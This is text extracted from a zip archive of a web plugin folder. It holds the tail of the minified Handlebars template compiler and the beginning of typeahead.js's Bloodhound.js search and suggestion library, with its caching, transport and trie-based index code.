},content:function(a){this.opcode("appendContent",a.string)},mustache:function(a){this.sexpr(a.sexpr),a.escaped&&!this.options.noEscape?this.opcode("appendEscaped"):this.opcode("append")},ambiguousSexpr:function(a,b,c){var d=a.id,e=d.parts[0],f=null!=b||null!=c;this.opcode("getContext",d.depth),this.opcode("pushProgram",b),this.opcode("pushProgram",c),this.opcode("invokeAmbiguous",e,f)},simpleSexpr:function(a){var b=a.id;"DATA"===b.type?this.DATA(b):b.parts.length?this.ID(b):(this.addDepth(b.depth),this.opcode("getContext",b.depth),this.opcode("pushContext")),this.opcode("resolvePossibleLambda")},helperSexpr:function(a,b,c){var d=this.setupFullMustacheParams(a,b,c),e=a.id,g=e.parts[0];if(this.options.knownHelpers[g])this.opcode("invokeKnownHelper",d.length,g);else{if(this.options.knownHelpersOnly)throw new f("You specified knownHelpersOnly, but used the unknown helper "+g,a);this.ID(e),this.opcode("invokeHelper",d.length,e.original,a.isRoot)}},sexpr:function(a){var b=this.classifySexpr(a);"simple"===b?this.simpleSexpr(a):"helper"===b?this.helperSexpr(a):this.ambiguousSexpr(a)},ID:function(a){this.addDepth(a.depth),this.opcode("getContext",a.depth);var b=a.parts[0];b?this.opcode("lookupOnContext",a.parts[0]):this.opcode("pushContext");for(var c=1,d=a.parts.length;d>c;c++)this.opcode("lookup",a.parts[c])},DATA:function(a){this.options.data=!0,this.opcode("lookupData",a.id.depth);for(var b=a.id.parts,c=0,d=b.length;d>c;c++)this.opcode("lookup",b[c])},STRING:function(a){this.opcode("pushString",a.string)},NUMBER:function(a){this.opcode("pushLiteral",a.number)},BOOLEAN:function(a){this.opcode("pushLiteral",a.bool)},comment:function(){},opcode:function(a){this.opcodes.push({opcode:a,args:[].slice.call(arguments,1)})},declare:function(a,b){this.opcodes.push({opcode:"DECLARE",name:a,value:b})},addDepth:function(a){0!==a&&(this.depths[a]||(this.depths[a]=!0,this.depths.list.push(a)))},classifySexpr:function(a){var b=a.isHelper,c=a.eligibleHelper,d=this.options;if(c&&!b){var e=a.id.parts[0];d.knownHelpers[e]?b=!0:d.knownHelpersOnly&&(c=!1)}return b?"helper":c?"ambiguous":"simple"},pushParams:function(a){for(var b=0,c=a.length;c>b;b++)this.pushParam(a[b])},pushParam:function(a){this.stringParams?(a.depth&&this.addDepth(a.depth),this.opcode("getContext",a.depth||0),this.opcode("pushStringParam",a.stringModeValue,a.type),"sexpr"===a.type&&this.sexpr(a)):(this.trackIds&&this.opcode("pushId",a.type,a.idName||a.stringModeValue),this.accept(a))},setupFullMustacheParams:function(a,b,c){var d=a.params;return this.pushParams(d),this.opcode("pushProgram",b),this.opcode("pushProgram",c),a.hash?this.hash(a.hash):this.opcode("emptyHash"),d}},e.precompile=c,e.compile=d,e}(c),k=function(a,b){"use strict";function c(a){this.value=a}function d(){}var e,f=a.COMPILER_REVISION,g=a.REVISION_CHANGES,h=a.log,i=b;d.prototype={nameLookup:function(a,b){var c,e;return 0===a.indexOf("depth")&&(c=!0),e=d.isValidJavaScriptVariableName(b)?a+"."+b:a+"['"+b+"']",c?"("+a+" && "+e+")":e},compilerInfo:function(){var a=f,b=g[a];return[a,b]},appendToBuffer:function(a){return this.environment.isSimple?"return "+a+";":{appendToBuffer:!0,content:a,toString:function(){return"buffer += "+a+";"}}},initializeBuffer:function(){return this.quotedString("")},namespace:"Handlebars",compile:function(a,b,c,d){this.environment=a,this.options=b||{},this.stringParams=this.options.stringParams,this.trackIds=this.options.trackIds,this.precompile=!d,h("debug",this.environment.disassemble()+"\n\n"),this.name=this.environment.name,this.isChild=!!c,this.context=c||{programs:[],environments:[]},this.preamble(),this.stackSlot=0,this.stackVars=[],this.aliases={},this.registers={list:[]},this.hashes=[],this.compileStack=[],this.inlineStack=[],this.compileChildren(a,b);var e,f,g,j=a.opcodes;for(f=0,g=j.length;g>f;f++)e=j[f],"DECLARE"===e.opcode?this[e.name]=e.value:this[e.opcode].apply(this,e.args),e.opcode!==this.stripNext&&(this.stripNext=!1);if(this.pushSource(""),this.stackSlot||this.inlineStack.length||this.compileStack.length)throw new i("Compile completed with content left on stack");var k=this.createFunctionContext(d);if(this.isChild)return k;var l={compiler:this.compilerInfo(),main:k},m=this.context.programs;for(f=0,g=m.length;g>f;f++)m[f]&&(l[f]=m[f]);return this.environment.usePartial&&(l.usePartial=!0),this.options.data&&(l.useData=!0),d||(l.compiler=JSON.stringify(l.compiler),l=this.objectLiteral(l)),l},preamble:function(){this.lastContext=0,this.source=[]},createFunctionContext:function(a){var b="",c=this.stackVars.concat(this.registers.list);c.length>0&&(b+=", "+c.join(", "));for(var d in this.aliases)this.aliases.hasOwnProperty(d)&&(b+=", "+d+"="+this.aliases[d]);for(var e=["depth0","helpers","partials","data"],f=0,g=this.environment.depths.list.length;g>f;f++)e.push("depth"+this.environment.depths.list[f]);var h=this.mergeSource(b);return a?(e.push(h),Function.apply(this,e)):"function("+e.join(",")+") {\n  "+h+"}"},mergeSource:function(a){for(var b,c,d="",e=!this.forceBuffer,f=0,g=this.source.length;g>f;f++){var h=this.source[f];h.appendToBuffer?b=b?b+"\n    + "+h.content:h.content:(b&&(d?d+="buffer += "+b+";\n  ":(c=!0,d=b+";\n  "),b=void 0),d+=h+"\n  ",this.environment.isSimple||(e=!1))}return e?(b||!d)&&(d+="return "+(b||'""')+";\n"):(a+=", buffer = "+(c?"":this.initializeBuffer()),d+=b?"return buffer + "+b+";\n":"return buffer;\n"),a&&(d="var "+a.substring(2)+(c?"":";\n  ")+d),d},blockValue:function(a){this.aliases.blockHelperMissing="helpers.blockHelperMissing";var b=["depth0"];this.setupParams(a,0,b),this.replaceStack(function(a){return b.splice(1,0,a),"blockHelperMissing.call("+b.join(", ")+")"})},ambiguousBlockValue:function(){this.aliases.blockHelperMissing="helpers.blockHelperMissing";var a=["depth0"];this.setupParams("",0,a,!0),this.flushInline();var b=this.topStack();a.splice(1,0,b),this.pushSource("if (!"+this.lastHelper+") { "+b+" = blockHelperMissing.call("+a.join(", ")+"); }")},appendContent:function(a){this.pendingContent&&(a=this.pendingContent+a),this.stripNext&&(a=a.replace(/^\s+/,"")),this.pendingContent=a},strip:function(){this.pendingContent&&(this.pendingContent=this.pendingContent.replace(/\s+$/,"")),this.stripNext="strip"},append:function(){this.flushInline();var a=this.popStack();this.pushSource("if("+a+" || "+a+" === 0) { "+this.appendToBuffer(a)+" }"),this.environment.isSimple&&this.pushSource("else { "+this.appendToBuffer("''")+" }")},appendEscaped:function(){this.aliases.escapeExpression="this.escapeExpression",this.pushSource(this.appendToBuffer("escapeExpression("+this.popStack()+")"))},getContext:function(a){this.lastContext!==a&&(this.lastContext=a)},lookupOnContext:function(a){this.push(this.nameLookup("depth"+this.lastContext,a,"context"))},pushContext:function(){this.pushStackLiteral("depth"+this.lastContext)},resolvePossibleLambda:function(){this.aliases.functionType='"function"',this.replaceStack(function(a){return"typeof "+a+" === functionType ? "+a+".apply(depth0) : "+a})},lookup:function(a){this.replaceStack(function(b){return b+" == null || "+b+" === false ? "+b+" : "+this.nameLookup(b,a,"context")})},lookupData:function(a){a?this.pushStackLiteral("this.data(data, "+a+")"):this.pushStackLiteral("data")},pushStringParam:function(a,b){this.pushStackLiteral("depth"+this.lastContext),this.pushString(b),"sexpr"!==b&&("string"==typeof a?this.pushString(a):this.pushStackLiteral(a))},emptyHash:function(){this.pushStackLiteral("{}"),this.trackIds&&this.push("{}"),this.stringParams&&(this.push("{}"),this.push("{}"))},pushHash:function(){this.hash&&this.hashes.push(this.hash),this.hash={values:[],types:[],contexts:[],ids:[]}},popHash:function(){var a=this.hash;this.hash=this.hashes.pop(),this.trackIds&&this.push("{"+a.ids.join(",")+"}"),this.stringParams&&(this.push("{"+a.contexts.join(",")+"}"),this.push("{"+a.types.join(",")+"}")),this.push("{\n    "+a.values.join(",\n    ")+"\n  }")},pushString:function(a){this.pushStackLiteral(this.quotedString(a))},push:function(a){return this.inlineStack.push(a),a},pushLiteral:function(a){this.pushStackLiteral(a)},pushProgram:function(a){null!=a?this.pushStackLiteral(this.programExpression(a)):this.pushStackLiteral(null)},invokeHelper:function(a,b,c){this.aliases.helperMissing="helpers.helperMissing",this.useRegister("helper");var d=this.popStack(),e=this.setupHelper(a,b),f="helper = "+e.name+" || "+d+" || helperMissing";e.paramsInit&&(f+=","+e.paramsInit),this.push("("+f+",helper.call("+e.callParams+"))"),c||this.flushInline()},invokeKnownHelper:function(a,b){var c=this.setupHelper(a,b);this.push(c.name+".call("+c.callParams+")")},invokeAmbiguous:function(a,b){this.aliases.functionType='"function"',this.useRegister("helper"),this.emptyHash();var c=this.setupHelper(0,a,b),d=this.lastHelper=this.nameLookup("helpers",a,"helper"),e=this.nameLookup("depth"+this.lastContext,a,"context");this.push("((helper = "+d+" || "+e+(c.paramsInit?"),("+c.paramsInit:"")+"),(typeof helper === functionType ? helper.call("+c.callParams+") : helper))")},invokePartial:function(a){var b=[this.nameLookup("partials",a,"partial"),"'"+a+"'",this.popStack(),this.popStack(),"helpers","partials"];this.options.data&&b.push("data"),this.push("this.invokePartial("+b.join(", ")+")")},assignToHash:function(a){var b,c,d,e=this.popStack();this.trackIds&&(d=this.popStack()),this.stringParams&&(c=this.popStack(),b=this.popStack());var f=this.hash;b&&f.contexts.push("'"+a+"': "+b),c&&f.types.push("'"+a+"': "+c),d&&f.ids.push("'"+a+"': "+d),f.values.push("'"+a+"': ("+e+")")},pushId:function(a,b){"ID"===a||"DATA"===a?this.pushString(b):"sexpr"===a?this.pushStackLiteral("true"):this.pushStackLiteral("null")},compiler:d,compileChildren:function(a,b){for(var c,d,e=a.children,f=0,g=e.length;g>f;f++){c=e[f],d=new this.compiler;var h=this.matchExistingProgram(c);null==h?(this.context.programs.push(""),h=this.context.programs.length,c.index=h,c.name="program"+h,this.context.programs[h]=d.compile(c,b,this.context,!this.precompile),this.context.environments[h]=c):(c.index=h,c.name="program"+h)}},matchExistingProgram:function(a){for(var b=0,c=this.context.environments.length;c>b;b++){var d=this.context.environments[b];if(d&&d.equals(a))return b}},programExpression:function(a){if(null==a)return"this.noop";for(var b,c=this.environment.children[a],d=c.depths.list,e=[c.index,"data"],f=0,g=d.length;g>f;f++)b=d[f],e.push("depth"+(b-1));return(0===d.length?"this.program(":"this.programWithDepth(")+e.join(", ")+")"},register:function(a,b){this.useRegister(a),this.pushSource(a+" = "+b+";")},useRegister:function(a){this.registers[a]||(this.registers[a]=!0,this.registers.list.push(a))},pushStackLiteral:function(a){return this.push(new c(a))},pushSource:function(a){this.pendingContent&&(this.source.push(this.appendToBuffer(this.quotedString(this.pendingContent))),this.pendingContent=void 0),a&&this.source.push(a)},pushStack:function(a){this.flushInline();var b=this.incrStack();return a&&this.pushSource(b+" = "+a+";"),this.compileStack.push(b),b},replaceStack:function(a){var b,d,e,f="",g=this.isInline();if(g){var h=this.popStack(!0);if(h instanceof c)b=h.value,e=!0;else{d=!this.stackSlot;var i=d?this.incrStack():this.topStackName();f="("+this.push(i)+" = "+h+"),",b=this.topStack()}}else b=this.topStack();var j=a.call(this,b);return g?(e||this.popStack(),d&&this.stackSlot--,this.push("("+f+j+")")):(/^stack/.test(b)||(b=this.nextStack()),this.pushSource(b+" = ("+f+j+");")),b},nextStack:function(){return this.pushStack()},incrStack:function(){return this.stackSlot++,this.stackSlot>this.stackVars.length&&this.stackVars.push("stack"+this.stackSlot),this.topStackName()},topStackName:function(){return"stack"+this.stackSlot},flushInline:function(){var a=this.inlineStack;if(a.length){this.inlineStack=[];for(var b=0,d=a.length;d>b;b++){var e=a[b];e instanceof c?this.compileStack.push(e):this.pushStack(e)}}},isInline:function(){return this.inlineStack.length},popStack:function(a){var b=this.isInline(),d=(b?this.inlineStack:this.compileStack).pop();if(!a&&d instanceof c)return d.value;if(!b){if(!this.stackSlot)throw new i("Invalid stack pop");this.stackSlot--}return d},topStack:function(a){var b=this.isInline()?this.inlineStack:this.compileStack,d=b[b.length-1];return!a&&d instanceof c?d.value:d},quotedString:function(a){return'"'+a.replace(/\\/g,"\\\\").replace(/"/g,'\\"').replace(/\n/g,"\\n").replace(/\r/g,"\\r").replace(/\u2028/g,"\\u2028").replace(/\u2029/g,"\\u2029")+'"'},objectLiteral:function(a){var b=[];for(var c in a)a.hasOwnProperty(c)&&b.push(this.quotedString(c)+":"+a[c]);return"{"+b.join(",")+"}"},setupHelper:function(a,b,c){var d=[],e=this.setupParams(b,a,d,c),f=this.nameLookup("helpers",b,"helper");return{params:d,paramsInit:e,name:f,callParams:["depth0"].concat(d).join(", ")}},setupOptions:function(a,b,c){var d,e,f,g={},h=[],i=[],j=[];g.name=this.quotedString(a),g.hash=this.popStack(),this.trackIds&&(g.hashIds=this.popStack()),this.stringParams&&(g.hashTypes=this.popStack(),g.hashContexts=this.popStack()),e=this.popStack(),f=this.popStack(),(f||e)&&(f||(f="this.noop"),e||(e="this.noop"),g.fn=f,g.inverse=e);for(var k=b;k--;)d=this.popStack(),c[k]=d,this.trackIds&&(j[k]=this.popStack()),this.stringParams&&(i[k]=this.popStack(),h[k]=this.popStack());return this.trackIds&&(g.ids="["+j.join(",")+"]"),this.stringParams&&(g.types="["+i.join(",")+"]",g.contexts="["+h.join(",")+"]"),this.options.data&&(g.data="data"),g},setupParams:function(a,b,c,d){var e=this.objectLiteral(this.setupOptions(a,b,c));return d?(this.useRegister("options"),c.push("options"),"options="+e):(c.push(e),"")}};for(var j="break else new var case finally return void catch for switch while continue function this with default if throw delete in try do instanceof typeof abstract enum int short boolean export interface static byte extends long super char final native synchronized class float package throws const goto private transient debugger implements protected volatile double import public let yield".split(" "),k=d.RESERVED_WORDS={},l=0,m=j.length;m>l;l++)k[j[l]]=!0;return d.isValidJavaScriptVariableName=function(a){return!d.RESERVED_WORDS[a]&&/^[a-zA-Z_$][0-9a-zA-Z_$]*$/.test(a)},e=d}(d,c),l=function(a,b,c,d,e){"use strict";var f,g=a,h=b,i=c.parser,j=c.parse,k=d.Compiler,l=d.compile,m=d.precompile,n=e,o=g.create,p=function(){var a=o();return a.compile=function(b,c){return l(b,c,a)},a.precompile=function(b,c){return m(b,c,a)},a.AST=h,a.Compiler=k,a.JavaScriptCompiler=n,a.Parser=i,a.parse=j,a};return g=p(),g.create=p,f=g}(f,g,i,j,k);return l}();PK!�(�"�"�!plugin/typeahead.js/bloodhound.jsnu&1i�/*!
 * typeahead.js 1.1.1
 * https://github.com/twitter/typeahead.js
 * Copyright 2013-2017 Twitter, Inc. and other contributors; Licensed MIT
 */

(function(root, factory) {
    if (typeof define === "function" && define.amd) {
        define([ "jquery" ], function(a0) {
            return root["Bloodhound"] = factory(a0);
        });
    } else if (typeof exports === "object") {
        module.exports = factory(require("jquery"));
    } else {
        root["Bloodhound"] = factory(root["jQuery"]);
    }
})(this, function($) {
    var _ = function() {
        "use strict";
        return {
            isMsie: function() {
                return /(msie|trident)/i.test(navigator.userAgent) ? navigator.userAgent.match(/(msie |rv:)(\d+(.\d+)?)/i)[2] : false;
            },
            isBlankString: function(str) {
                return !str || /^\s*$/.test(str);
            },
            escapeRegExChars: function(str) {
                return str.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g, "\\$&");
            },
            isString: function(obj) {
                return typeof obj === "string";
            },
            isNumber: function(obj) {
                return typeof obj === "number";
            },
            isArray: $.isArray,
            isFunction: $.isFunction,
            isObject: $.isPlainObject,
            isUndefined: function(obj) {
                return typeof obj === "undefined";
            },
            isElement: function(obj) {
                return !!(obj && obj.nodeType === 1);
            },
            isJQuery: function(obj) {
                return obj instanceof $;
            },
            toStr: function toStr(s) {
                return _.isUndefined(s) || s === null ? "" : s + "";
            },
            bind: $.proxy,
            each: function(collection, cb) {
                $.each(collection, reverseArgs);
                function reverseArgs(index, value) {
                    return cb(value, index);
                }
            },
            map: $.map,
            filter: $.grep,
            every: function(obj, test) {
                var result = true;
                if (!obj) {
                    return result;
                }
                $.each(obj, function(key, val) {
                    if (!(result = test.call(null, val, key, obj))) {
                        return false;
                    }
                });
                return !!result;
            },
            some: function(obj, test) {
                var result = false;
                if (!obj) {
                    return result;
                }
                $.each(obj, function(key, val) {
                    if (result = test.call(null, val, key, obj)) {
                        return false;
                    }
                });
                return !!result;
            },
            mixin: $.extend,
            identity: function(x) {
                return x;
            },
            clone: function(obj) {
                return $.extend(true, {}, obj);
            },
            getIdGenerator: function() {
                var counter = 0;
                return function() {
                    return counter++;
                };
            },
            templatify: function templatify(obj) {
                return $.isFunction(obj) ? obj : template;
                function template() {
                    return String(obj);
                }
            },
            defer: function(fn) {
                setTimeout(fn, 0);
            },
            debounce: function(func, wait, immediate) {
                var timeout, result;
                return function() {
                    var context = this, args = arguments, later, callNow;
                    later = function() {
                        timeout = null;
                        if (!immediate) {
                            result = func.apply(context, args);
                        }
                    };
                    callNow = immediate && !timeout;
                    clearTimeout(timeout);
                    timeout = setTimeout(later, wait);
                    if (callNow) {
                        result = func.apply(context, args);
                    }
                    return result;
                };
            },
            throttle: function(func, wait) {
                var context, args, timeout, result, previous, later;
                previous = 0;
                later = function() {
                    previous = new Date();
                    timeout = null;
                    result = func.apply(context, args);
                };
                return function() {
                    var now = new Date(), remaining = wait - (now - previous);
                    context = this;
                    args = arguments;
                    if (remaining <= 0) {
                        clearTimeout(timeout);
                        timeout = null;
                        previous = now;
                        result = func.apply(context, args);
                    } else if (!timeout) {
                        timeout = setTimeout(later, remaining);
                    }
                    return result;
                };
            },
            stringify: function(val) {
                return _.isString(val) ? val : JSON.stringify(val);
            },
            guid: function() {
                function _p8(s) {
                    var p = (Math.random().toString(16) + "000000000").substr(2, 8);
                    return s ? "-" + p.substr(0, 4) + "-" + p.substr(4, 4) : p;
                }
                return "tt-" + _p8() + _p8(true) + _p8(true) + _p8();
            },
            noop: function() {}
        };
    }();
    var VERSION = "1.1.1";
    var tokenizers = function() {
        "use strict";
        return {
            nonword: nonword,
            whitespace: whitespace,
            ngram: ngram,
            obj: {
                nonword: getObjTokenizer(nonword),
                whitespace: getObjTokenizer(whitespace),
                ngram: getObjTokenizer(ngram)
            }
        };
        function whitespace(str) {
            str = _.toStr(str);
            return str ? str.split(/\s+/) : [];
        }
        function nonword(str) {
            str = _.toStr(str);
            return str ? str.split(/\W+/) : [];
        }
        function ngram(str) {
            str = _.toStr(str);
            var tokens = [], word = "";
            _.each(str.split(""), function(char) {
                if (char.match(/\s+/)) {
                    word = "";
                } else {
                    tokens.push(word + char);
                    word += char;
                }
            });
            return tokens;
        }
        function getObjTokenizer(tokenizer) {
            return function setKey(keys) {
                keys = _.isArray(keys) ? keys : [].slice.call(arguments, 0);
                return function tokenize(o) {
                    var tokens = [];
                    _.each(keys, function(k) {
                        tokens = tokens.concat(tokenizer(_.toStr(o[k])));
                    });
                    return tokens;
                };
            };
        }
    }();
    var LruCache = function() {
        "use strict";
        function LruCache(maxSize) {
            this.maxSize = _.isNumber(maxSize) ? maxSize : 100;
            this.reset();
            if (this.maxSize <= 0) {
                this.set = this.get = $.noop;
            }
        }
        _.mixin(LruCache.prototype, {
            set: function set(key, val) {
                var tailItem = this.list.tail, node;
                if (this.size >= this.maxSize) {
                    this.list.remove(tailItem);
                    delete this.hash[tailItem.key];
                    this.size--;
                }
                if (node = this.hash[key]) {
                    node.val = val;
                    this.list.moveToFront(node);
                } else {
                    node = new Node(key, val);
                    this.list.add(node);
                    this.hash[key] = node;
                    this.size++;
                }
            },
            get: function get(key) {
                var node = this.hash[key];
                if (node) {
                    this.list.moveToFront(node);
                    return node.val;
                }
            },
            reset: function reset() {
                this.size = 0;
                this.hash = {};
                this.list = new List();
            }
        });
        function List() {
            this.head = this.tail = null;
        }
        _.mixin(List.prototype, {
            add: function add(node) {
                if (this.head) {
                    node.next = this.head;
                    this.head.prev = node;
                }
                this.head = node;
                this.tail = this.tail || node;
            },
            remove: function remove(node) {
                node.prev ? node.prev.next = node.next : this.head = node.next;
                node.next ? node.next.prev = node.prev : this.tail = node.prev;
            },
            moveToFront: function(node) {
                this.remove(node);
                this.add(node);
            }
        });
        function Node(key, val) {
            this.key = key;
            this.val = val;
            this.prev = this.next = null;
        }
        return LruCache;
    }();
    var PersistentStorage = function() {
        "use strict";
        var LOCAL_STORAGE;
        try {
            LOCAL_STORAGE = window.localStorage;
            LOCAL_STORAGE.setItem("~~~", "!");
            LOCAL_STORAGE.removeItem("~~~");
        } catch (err) {
            LOCAL_STORAGE = null;
        }
        function PersistentStorage(namespace, override) {
            this.prefix = [ "__", namespace, "__" ].join("");
            this.ttlKey = "__ttl__";
            this.keyMatcher = new RegExp("^" + _.escapeRegExChars(this.prefix));
            this.ls = override || LOCAL_STORAGE;
            !this.ls && this._noop();
        }
        _.mixin(PersistentStorage.prototype, {
            _prefix: function(key) {
                return this.prefix + key;
            },
            _ttlKey: function(key) {
                return this._prefix(key) + this.ttlKey;
            },
            _noop: function() {
                this.get = this.set = this.remove = this.clear = this.isExpired = _.noop;
            },
            _safeSet: function(key, val) {
                try {
                    this.ls.setItem(key, val);
                } catch (err) {
                    if (err.name === "QuotaExceededError") {
                        this.clear();
                        this._noop();
                    }
                }
            },
            get: function(key) {
                if (this.isExpired(key)) {
                    this.remove(key);
                }
                return decode(this.ls.getItem(this._prefix(key)));
            },
            set: function(key, val, ttl) {
                if (_.isNumber(ttl)) {
                    this._safeSet(this._ttlKey(key), encode(now() + ttl));
                } else {
                    this.ls.removeItem(this._ttlKey(key));
                }
                return this._safeSet(this._prefix(key), encode(val));
            },
            remove: function(key) {
                this.ls.removeItem(this._ttlKey(key));
                this.ls.removeItem(this._prefix(key));
                return this;
            },
            clear: function() {
                var i, keys = gatherMatchingKeys(this.keyMatcher);
                for (i = keys.length; i--; ) {
                    this.remove(keys[i]);
                }
                return this;
            },
            isExpired: function(key) {
                var ttl = decode(this.ls.getItem(this._ttlKey(key)));
                return _.isNumber(ttl) && now() > ttl ? true : false;
            }
        });
        return PersistentStorage;
        function now() {
            return new Date().getTime();
        }
        function encode(val) {
            return JSON.stringify(_.isUndefined(val) ? null : val);
        }
        function decode(val) {
            return $.parseJSON(val);
        }
        function gatherMatchingKeys(keyMatcher) {
            var i, key, keys = [], len = LOCAL_STORAGE.length;
            for (i = 0; i < len; i++) {
                if ((key = LOCAL_STORAGE.key(i)).match(keyMatcher)) {
                    keys.push(key.replace(keyMatcher, ""));
                }
            }
            return keys;
        }
    }();
    var Transport = function() {
        "use strict";
        var pendingRequestsCount = 0, pendingRequests = {}, sharedCache = new LruCache(10);
        function Transport(o) {
            o = o || {};
            this.maxPendingRequests = o.maxPendingRequests || 6;
            this.cancelled = false;
            this.lastReq = null;
            this._send = o.transport;
            this._get = o.limiter ? o.limiter(this._get) : this._get;
            this._cache = o.cache === false ? new LruCache(0) : sharedCache;
        }
        Transport.setMaxPendingRequests = function setMaxPendingRequests(num) {
            this.maxPendingRequests = num;
        };
        Transport.resetCache = function resetCache() {
            sharedCache.reset();
        };
        _.mixin(Transport.prototype, {
            _fingerprint: function fingerprint(o) {
                o = o || {};
                return o.url + o.type + $.param(o.data || {});
            },
            _get: function(o, cb) {
                var that = this, fingerprint, jqXhr;
                fingerprint = this._fingerprint(o);
                if (this.cancelled || fingerprint !== this.lastReq) {
                    return;
                }
                if (jqXhr = pendingRequests[fingerprint]) {
                    jqXhr.done(done).fail(fail);
                } else if (pendingRequestsCount < this.maxPendingRequests) {
                    pendingRequestsCount++;
                    pendingRequests[fingerprint] = this._send(o).done(done).fail(fail).always(always);
                } else {
                    this.onDeckRequestArgs = [].slice.call(arguments, 0);
                }
                function done(resp) {
                    cb(null, resp);
                    that._cache.set(fingerprint, resp);
                }
                function fail() {
                    cb(true);
                }
                function always() {
                    pendingRequestsCount--;
                    delete pendingRequests[fingerprint];
                    if (that.onDeckRequestArgs) {
                        that._get.apply(that, that.onDeckRequestArgs);
                        that.onDeckRequestArgs = null;
                    }
                }
            },
            get: function(o, cb) {
                var resp, fingerprint;
                cb = cb || $.noop;
                o = _.isString(o) ? {
                    url: o
                } : o || {};
                fingerprint = this._fingerprint(o);
                this.cancelled = false;
                this.lastReq = fingerprint;
                if (resp = this._cache.get(fingerprint)) {
                    cb(null, resp);
                } else {
                    this._get(o, cb);
                }
            },
            cancel: function() {
                this.cancelled = true;
            }
        });
        return Transport;
    }();
    var SearchIndex = window.SearchIndex = function() {
        "use strict";
        var CHILDREN = "c", IDS = "i";
        function SearchIndex(o) {
            o = o || {};
            if (!o.datumTokenizer || !o.queryTokenizer) {
                $.error("datumTokenizer and queryTokenizer are both required");
            }
            this.identify = o.identify || _.stringify;
            this.datumTokenizer = o.datumTokenizer;
            this.queryTokenizer = o.queryTokenizer;
            this.matchAnyQueryToken = o.matchAnyQueryToken;
            this.reset();
        }
        _.mixin(SearchIndex.prototype, {
            bootstrap: function bootstrap(o) {
                this.datums = o.datums;
                this.trie = o.trie;
            },
            add: function(data) {
                var that = this;
                data = _.isArray(data) ? data : [ data ];
                _.each(data, function(datum) {
                    var id, tokens;
                    that.datums[id = that.identify(datum)] = datum;
                    tokens = normalizeTokens(that.datumTokenizer(datum));
                    _.each(tokens, function(token) {
                        var node, chars, ch;
                        node = that.trie;
                        chars = token.split("");
                        while (ch = chars.shift()) {
                            node = node[CHILDREN][ch] || (node[CHILDREN][ch] = newNode());
                            node[IDS].push(id);
                        }
                    });
                });
            },
            get: function get(ids) {
                var that = this;
                return _.map(ids, function(id) {
                    return that.datums[id];
                });
            },
            search: function search(query) {
                var that = this, tokens, matches;
                tokens = normalizeTokens(this.queryTokenizer(query));
                _.each(tokens, function(token) {
                    var node, chars, ch, ids;
                    if (matches && matches.length === 0 && !that.matchAnyQueryToken) {
                        return false;
                    }
                    node = that.trie;
                    chars = token.split("");
                    while (node && (ch = chars.shift())) {
                        node = node[CHILDREN][ch];
                    }
                    if (node && chars.length === 0) {
                        ids = node[IDS].slice(0);
                        matches = matches ? getIntersection(matches, ids) : ids;
                    } else {
                        if (!that.matchAnyQueryToken) {
                            matches = [];
                            return false;
                        }
                    }
                });
                return matches ? _.map(unique(matches), function(id) {
                    return that.datums[id];
                }) : [];
            },
            all: function all() {
                var values = [];
                for (var key in this.datums) {
                    values.push(this.datums[key]);
                }
                return values;
            },
            reset: function reset() {
                this.datums = {};
                this.trie = newNode();
            },
            serialize: function serialize() {
                return {
                    datums: this.datums,
                    trie: this.trie
                };
            }
        });
        return SearchIndex;
        function normalizeTokens(tokens) {
            tokens = _.filter(tokens, function(token) {
                return !!token;
            });
            tokens = _.map(tokens, function(token) {
                return token.toLowerCase();
            });
            return tokens;
        }
        function newNode() {
            var node = {};
            node[IDS] = [];
            node[CHILDREN] = {};
            return node;
        }
        function unique(array) {
            var seen = {}, uniques = [];
            for (var i = 0, len = array.length; i < len; i++) {
                if (!seen[array[i]]) {
                    seen[array[i]] = true;
                    uniques.push(array[i]);
                }
            }
            return uniques;
        }
        function getIntersection(arrayA, arrayB) {
            var ai = 0, bi = 0, intersection = [];
            arrayA = arrayA.sort();
            arrayB = arrayB.sort();
            var lenArrayA = arrayA.length, lenArrayB = arrayB.length;
            while (ai < lenArrayA && bi < lenArrayB) {
                if (arrayA[ai] < arrayB[bi]) {
                    ai++;
                } else if (arrayA[ai] > arrayB[bi]) {
                    bi++;
                } else {
                    intersection.push(arrayA[ai]);
                    ai++;
                    bi++;
                }
            }
            return intersection;
        }
    }();
    var Prefetch = function() {
        "use strict";
        var keys;
        keys = {
            data: "data",
            protocol: "protocol",
            thumbprint: "thumbprint"
        };
        function Prefetch(o) {
            this.url = o.url;
            this.ttl = o.ttl;
            this.cache = o.cache;
            this.prepare = o.prepare;
            this.transform = o.transform;
            this.transport = o.transport;
            this.thumbprint = o.thumbprint;
            this.storage = new PersistentStorage(o.cacheKey);
        }
        _.mixin(Prefetch.prototype, {
            _settings: function settings() {
                return {
                    url: this.url,
                    type: "GET",
                    dataType: "json"
                };
            },
            store: function store(data) {
                if (!this.cache) {
                    return;
                }
                this.storage.set(keys.data, data, this.ttl);
                this.storage.set(keys.protocol, location.protocol, this.ttl);
                this.storage.set(keys.thumbprint, this.thumbprint, this.ttl);
            },
            fromCache: function fromCache() {
                var stored = {}, isExpired;
                if (!this.cache) {
                    return null;
                }
                stored.data = this.storage.get(keys.data);
                stored.protocol = this.storage.get(keys.protocol);
                stored.thumbprint = this.storage.get(keys.thumbprint);
                isExpired = stored.thumbprint !== this.thumbprint || stored.protocol !== location.protocol;
                return stored.data && !isExpired ? stored.data : null;
            },
            fromNetwork: function(cb) {
                var that = this, settings;
                if (!cb) {
                    return;
                }
                settings = this.prepare(this._settings());
                this.transport(settings).fail(onError).done(onResponse);
                function onError() {
                    cb(true);
                }
                function onResponse(resp) {
                    cb(null, that.transform(resp));
                }
            },
            clear: function clear() {
                this.storage.clear();
                return this;
            }
        });
        return Prefetch;
    }();
    var Remote = function() {
        "use strict";
        function Remote(o) {
            this.url = o.url;
            this.prepare = o.prepare;
            this.transform = o.transform;
            this.indexResponse = o.indexResponse;
            this.transport = new Transport({
                cache: o.cache,
                limiter: o.limiter,
                transport: o.transport,
                maxPendingRequests: o.maxPendingRequests
            });
        }
        _.mixin(Remote.prototype, {
            _settings: function settings() {
                return {
                    url: this.url,
                    type: "GET",
                    dataType: "json"
                };
            },
            get: function get(query, cb) {
                var that = this, settings;
                if (!cb) {
                    return;
                }
                query = query || "";
                settings = this.prepare(query, this._settings());
                return this.transport.get(settings, onResponse);
                function onResponse(err, resp) {
                    err ? cb([]) : cb(that.transform(resp));
                }
            },
            cancelLastRequest: function cancelLastRequest() {
                this.transport.cancel();
            }
        });
        return Remote;
    }();
    var oParser = function() {
        "use strict";
        return function parse(o) {
            var defaults, sorter;
            defaults = {
                initialize: true,
                identify: _.stringify,
                datumTokenizer: null,
